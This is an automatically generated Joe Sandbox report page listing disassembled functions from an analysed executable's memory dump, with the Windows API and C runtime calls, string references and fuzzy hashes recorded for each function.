Function 00F05B29 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F05B58

Part of subcall function 00F056F8: _memset.LIBCMT ref: 00F05787
Part of subcall function 00F056F8: _wcscpy.LIBCMT ref: 00F057DB
Part of subcall function 00F056F8: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00F057EB

KillTimer.USER32(?,00000001,?,?), ref: 00F05BAD
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00F05BBC
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00F40D7C

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 0da01608caeb18998486f7ac49513d352d15bfbd02a4808fb4904112388ed270
Instruction ID: 99ddafd9b270f04a3f03b46507b1fa4bd5caf67b8e2a784368416526aa541a4d
Opcode Fuzzy Hash: 0da01608caeb18998486f7ac49513d352d15bfbd02a4808fb4904112388ed270
Instruction Fuzzy Hash: BC21F8B1D047889FE7728B648895BEBFFEC9F41714F00048DEA9A56281CB742988FF41

Function 00F0278A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00F049C2: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00F027AF,?,00000001), ref: 00F049F4

_free.LIBCMT ref: 00F3FB04
_free.LIBCMT ref: 00F3FB4B

Part of subcall function 00F029BE: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00F02ADF

Strings

Bad directive syntax error, xrefs: 00F3FB33

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: Bad directive syntax error
API String ID: 2861923089-2118420937
Opcode ID: 664101b33015016485e10adc2c451a1a2b19257633cea8af7d5913851d4e201c
Instruction ID: 4340ff61d013c1e4675b50904de5d10cd2c5fe7fc34d4eca6f2243918bd61026
Opcode Fuzzy Hash: 664101b33015016485e10adc2c451a1a2b19257633cea8af7d5913851d4e201c
Instruction Fuzzy Hash: 98916E71D10219EFCF04EFA4CC919EEB7B4BF05320F14456AF915AB291DB38A949EB50

Function 00F59CF1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00F04AB2: __fread_nolock.LIBCMT ref: 00F04AD0

_wcscmp.LIBCMT ref: 00F59DE1
_wcscmp.LIBCMT ref: 00F59DF4

Strings

FILE, xrefs: 00F59D2D

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: a3dd2ecbd2914a2cb7c89c73a268f920a44869ced1a92b62068c2adcb23dfc3c
Instruction ID: c8c7911a61ca239f710c2b5ba52e9f725295819eb0ece36a088ca4420f051ae0
Opcode Fuzzy Hash: a3dd2ecbd2914a2cb7c89c73a268f920a44869ced1a92b62068c2adcb23dfc3c
Instruction Fuzzy Hash: 3E41E971A44209FADF20DEA4CC46FDF77BDDF45710F000469FA00A7181D675A948A7A5

Function 00F031BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F4032B
GetOpenFileNameW.COMDLG32(?), ref: 00F40375

Part of subcall function 00F10284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00F02A58,?,00008000), ref: 00F102A4

Part of subcall function 00F109C5: GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00F109E4

Strings

X, xrefs: 00F40343

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: f72010664a7d54f574d98837c2a8dc4a19fc333ccfabe97b8c3ede22d665bf9d
Instruction ID: 7d45562c7c30a41abfb8fc203c1818695a0cea6fd3155b31471aa288adbf8611
Opcode Fuzzy Hash: f72010664a7d54f574d98837c2a8dc4a19fc333ccfabe97b8c3ede22d665bf9d
Instruction Fuzzy Hash: BE218171A002989BCB41DF94CC49BEE7BF8AF49314F00405AE404A7281DFB95A8DFFA1

Function 00F6D1C6 Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7798645014bb075ce37a7bde0552db7ee8e7949c696d4e3d67bc0da45e7a6be9
Instruction ID: 2d0f278bd58d1b159febab2dd72e3b265b21841d4aa77b5750921a3d6b414969
Opcode Fuzzy Hash: 7798645014bb075ce37a7bde0552db7ee8e7949c696d4e3d67bc0da45e7a6be9
Instruction Fuzzy Hash: 39F14AB1A083049FC714DF28C884A6ABBE5FF88314F14892DF9999B351DB35E945CF82

Function 00F059D3 Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F059F9
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00F05A9E
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00F05ABB

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: c924fdd742f38faf8d1005c688832ec0712221232303fa76273b8e343d79cd56
Instruction ID: f92d78ca86e988a56f5f4f58b7073d409f1083dc8d488177eb80cac5df11df61
Opcode Fuzzy Hash: c924fdd742f38faf8d1005c688832ec0712221232303fa76273b8e343d79cd56
Instruction Fuzzy Hash: CC3184B0A057058FD720DF74D8C4697BBE4FB48714F000A2EF69A87291D7B5A944EF51

Function 00F1593C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00F15953

Part of subcall function 00F1A39B: __NMSG_WRITE.LIBCMT ref: 00F1A3C2
Part of subcall function 00F1A39B: __NMSG_WRITE.LIBCMT ref: 00F1A3CC

__NMSG_WRITE.LIBCMT ref: 00F1595A

Part of subcall function 00F1A3F8: GetModuleFileNameW.KERNEL32(00000000,00FB53BA,00000104,00000004,00000001,00F11003), ref: 00F1A48A
Part of subcall function 00F1A3F8: ___crtMessageBoxW.LIBCMT ref: 00F1A538

Part of subcall function 00F132CF: ___crtCorExitProcess.LIBCMT ref: 00F132D5
Part of subcall function 00F132CF: ExitProcess.KERNEL32 ref: 00F132DE

Part of subcall function 00F18D58: __getptd_noexit.LIBCMT ref: 00F18D58

RtlAllocateHeap.NTDLL(01450000,00000000,00000001,?,00000004,?,?,00F11003,?), ref: 00F1597F

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 8b9d4a64a92a1f78c46d1c60e73fdbd23f45dc5d42b07a05a44a74034f927f8e
Instruction ID: 24a746994edca21643552682d3a3cab5cdb55754e0e57fe9624d02060ce700dc
Opcode Fuzzy Hash: 8b9d4a64a92a1f78c46d1c60e73fdbd23f45dc5d42b07a05a44a74034f927f8e
Instruction Fuzzy Hash: B401F532702B06DAE6153774AC42BEE32588F92FB0F940126F8149A1D1DEB88DC17B62

Function 00F592C8 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F592D6

Part of subcall function 00F12F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00F19C54,00000000,00F18D5D,00F159C3), ref: 00F12F99
Part of subcall function 00F12F85: GetLastError.KERNEL32(00000000,?,00F19C54,00000000,00F18D5D,00F159C3), ref: 00F12FAB

_free.LIBCMT ref: 00F592E7
_free.LIBCMT ref: 00F592F9

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction ID: c24e82273cbfcc695882e427a48cae0a1c8eb46eb5b91faaa1f7e25c061db126
Opcode Fuzzy Hash: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction Fuzzy Hash: 3FE0C2A1B0C70293CA28A5B97C44ED377EC0F88322F14040DB909D3146CE68E882B078

Function 00EF5E83 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 551COMMON

Download Yara Rule

Strings

CALL, xrefs: 00F2E234

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: e43b5d4c41b3280f45870658e5f906d62734e659c286d300a377f721154a5491
Instruction ID: 4cf92c08a8f1c13a99be24169f382c6b3af7eed8bc3e38b24d1ea490806a3063
Opcode Fuzzy Hash: e43b5d4c41b3280f45870658e5f906d62734e659c286d300a377f721154a5491
Instruction Fuzzy Hash: 92326C71508315DFC724DF14C890A6ABBE1BF84304F14996DFA8AAB362D735EC45EB82

Function 00F048B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F048FA

Strings

EA06, xrefs: 00F408A1

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: 81a50d06be5eacb5afc868c7bb31b83f614aebc28358ac3e5738982f7f6918f6
Instruction ID: dc3ac6365ee81add88955616d263ec2ef0f8cbf003ba4fe68eba869920697dba
Opcode Fuzzy Hash: 81a50d06be5eacb5afc868c7bb31b83f614aebc28358ac3e5738982f7f6918f6
Instruction Fuzzy Hash: 22418DA2E041589BDF219B648D517BF7FA58B45310F184075FF82EB2C6CA38AD84B3E1

Function 00F6E139 Relevance: 3.2, APIs: 2, Instructions: 227COMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 00F6E20C

Part of subcall function 00EF4D37: __itow.LIBCMT ref: 00EF4D62
Part of subcall function 00EF4D37: __swprintf.LIBCMT ref: 00EF4DAC

_wcscpy.LIBCMT ref: 00F6E29B

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: __itow__swprintf_strcat_wcscpy
String ID:
API String ID: 1012013722-0
Opcode ID: 2fbc19c1858e9408641fc9cbdc2cf1649f70432055c99fe0e16180598fa60f6c
Instruction ID: 38be52d66e6ff9e6a5ded0d7f2d8d22b799741731b78aa78bbfd21071e1705d2
Opcode Fuzzy Hash: 2fbc19c1858e9408641fc9cbdc2cf1649f70432055c99fe0e16180598fa60f6c
Instruction Fuzzy Hash: 11914A3AA00604DFCB18DF18C5829ADBBE5FF59310B55805AE90ADF3A2DB30ED45DB80

Function 00F10E38 Relevance: 3.1, APIs: 2, Instructions: 94processCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00F10ED5
CreateProcessW.KERNEL32 ref: 00F10EE7

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: dc8bbe4bdc1e3db9a420a976d09b5ef64070602979b88a6a0df6b404fb3caf5c
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: A931C571A00109DFD718DF5AC480AA9F7A6FF59310B648AA5E409CB251EBB1EDC1EBC0

Function 00F05F8B Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00F05FEF

Part of subcall function 00F1359C: __lock.LIBCMT ref: 00F135A2
Part of subcall function 00F1359C: DecodePointer.KERNEL32(00000001,?,00F06004,00F48892), ref: 00F135AE
Part of subcall function 00F1359C: EncodePointer.KERNEL32(?,?,00F06004,00F48892), ref: 00F135B9

Part of subcall function 00F05F00: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00F05F18
Part of subcall function 00F05F00: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00F05F2D

Part of subcall function 00F05240: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00F0526C
Part of subcall function 00F05240: IsDebuggerPresent.KERNEL32 ref: 00F0527E
Part of subcall function 00F05240: GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 00F052E6
Part of subcall function 00F05240: SetCurrentDirectoryW.KERNEL32(?), ref: 00F05366

SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 00F0602F

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 8fb259b474baa9d3464d3f7b28fdc73af21e80c4ac2ed5fb9354637a10f46bd4
Instruction ID: 45b5cad0a7b6bcd4e44aae61943c926b623eacd4b5d6cb984d39efd75d22d292
Opcode Fuzzy Hash: 8fb259b474baa9d3464d3f7b28fdc73af21e80c4ac2ed5fb9354637a10f46bd4
Instruction Fuzzy Hash: F5119D7180830A9BC710EF68EC8595BBBE8EFC9750F00461EF544972B1DBB19949EF92

Function 00F042F9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000,00000000,?,?,00F03E72,?,?,?,00000000), ref: 00F04327
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,00000000,?,?,00F03E72,?,?,?,00000000), ref: 00F40717

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7afb6d08bf5232a2262e38e0756f625a29760efd7577bc670d4828aef1078685
Instruction ID: 667946cb95c9146220157adf7a3b1872ac7eaaf930bb10bf7cf510b1f219dc83
Opcode Fuzzy Hash: 7afb6d08bf5232a2262e38e0756f625a29760efd7577bc670d4828aef1078685
Instruction Fuzzy Hash: FE0184B0144309BEF3600E148D8AFA67A9CAB01778F50C215BBD55A1D0C6B46C45BB14

Function 00F10FE6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F1593C: __FF_MSGBANNER.LIBCMT ref: 00F15953
Part of subcall function 00F1593C: __NMSG_WRITE.LIBCMT ref: 00F1595A
Part of subcall function 00F1593C: RtlAllocateHeap.NTDLL(01450000,00000000,00000001,?,00000004,?,?,00F11003,?), ref: 00F1597F

std::exception::exception.LIBCMT ref: 00F1101C
__CxxThrowException@8.LIBCMT ref: 00F11031

Part of subcall function 00F187CB: RaiseException.KERNEL32(?,?,?,00FACAF8,?,?,?,?,?,00F11036,?,00FACAF8,?,00000001), ref: 00F18820

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: da9a8d7283ffa81ddbdd882c3c9655766350943d07336188f3daad1448a29d9d
Instruction ID: 52fd90ed28acf395750f6dd83a8bf6ffe6a0c05fdcf09bcd462ab730151ee786
Opcode Fuzzy Hash: da9a8d7283ffa81ddbdd882c3c9655766350943d07336188f3daad1448a29d9d
Instruction Fuzzy Hash: 20F0C836D0421DA6CB20BA58ED169EE77ACAF05760F100455F91492192EFB58BC1F6E1

Function 00F1581D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F1584C
__lock_file.LIBCMT ref: 00F1586D

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 0597f80194d8bdf3a6e785ef56f6d1df62f749d7981eb1109e817848c88be468
Instruction ID: 52f25cde5efee7b7e50ca1cf57e494899cac4932416fe4b6ebb1b47512f0b20c
Opcode Fuzzy Hash: 0597f80194d8bdf3a6e785ef56f6d1df62f749d7981eb1109e817848c88be468
Instruction Fuzzy Hash: A8014471C00749EBCF11AF69CD019DE7B61AFC0770F144115B8245A1A1D7398A92FF91

Function 00F155C6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F18D58: __getptd_noexit.LIBCMT ref: 00F18D58

__lock_file.LIBCMT ref: 00F1560B

Part of subcall function 00F16E3E: __lock.LIBCMT ref: 00F16E61

__fclose_nolock.LIBCMT ref: 00F15616

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 3984369eb9f6b94090ac336d2747ab1990f4f9b2a277ae806b6135e74eaad306
Instruction ID: 1882f8584d4c806432e220bad0ddfcdfa14e0c5c65b847e8f135b8920742285d
Opcode Fuzzy Hash: 3984369eb9f6b94090ac336d2747ab1990f4f9b2a277ae806b6135e74eaad306
Instruction Fuzzy Hash: FFF09671801B05DAD710AB758D027DE77A25F81774F154205A414AB1C1CF7C89C2BF51

Function 00F15E80 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00F15EB4
__ftell_nolock.LIBCMT ref: 00F15EBF

Part of subcall function 00F18D58: __getptd_noexit.LIBCMT ref: 00F18D58

